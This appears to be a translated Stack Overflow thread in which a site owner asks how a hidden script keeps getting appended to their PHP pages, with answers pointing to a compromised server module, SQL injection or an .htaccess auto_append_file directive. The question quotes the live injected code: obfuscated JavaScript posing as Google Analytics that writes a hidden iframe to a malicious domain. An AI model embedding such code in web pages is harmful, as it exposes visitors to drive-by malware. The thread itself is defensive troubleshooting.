我想这一天一定会来的。
我客户的网站已经被谷歌泄露并列入黑名单。加载主页面时,此javascript将自动添加到文档底部:
<script type="text/javascript">var str='google-analytics.com';var str2='6b756c6b61726e696f6f37312e636f6d';str4='php';var str3='if';str='';for(var i=0;i<str2.length;i=i+2){str=str+'%'+str2.substr(i,2);}str=unescape(str);document.write('<'+str3+'rame width=1 height=1 src="http://'+str+'/index.'+str4+'?id=382" style="visibility: hidden;"></'+str3+'rame>');</script></head><body><iframe src="http://kulkarnioo71.com/index.php?id=382" style="visibility: hidden;" width="1" height="1"></iframe>我还没有解剖它,但很明显,它是一个攻击者试图伪装成谷歌分析。我无法理解的是,如果我从主页中删除最后一点HTML,到了index.html是一个空文档时,javascript仍然会被嵌入。怎么回事?那件事怎么可能?
更新
我去网上服务器上扫描一下.
源鉴定为
我发现javascript是从哪里来的。我只愚蠢地清空了template.html文件,但仍然在我的php模板系统中运行脚本。显然,上面的代码被附加到了我的index.php和main.php文件的底部。这怎麽可能?
更多一些背景:
发布于 2009-01-27 17:11:35
一个流氓HTTP模块(在IIS中),或者任何与apache等价的东西,都可以为任何HTTP请求,甚至静态文件,预置、追加甚至修改内容。这意味着服务器本身已经被破坏了。
编辑:如果您让我们知道您使用的是哪种类型的web服务器,我们将能够为故障排除提供更具体的建议。
发布于 2009-01-27 17:11:49
您是否服务于SQL数据库中的任何内容?这种妥协可能是SQL注入攻击,数据库中的站点内容已被此脚本/标记替换/修改。
发布于 2009-04-26 07:56:52
这与.htaccess有关吗?
php_value auto_append_file /server/path/to/my/www_root/subdir/file.ext" 可以自动将文件附加到文档底部。虽然如果您不能用那个JS识别一个文件,那么我想这是不太可能的。你想过他们是怎么做到的吗?
https://stackoverflow.com/questions/484261
复制相似问题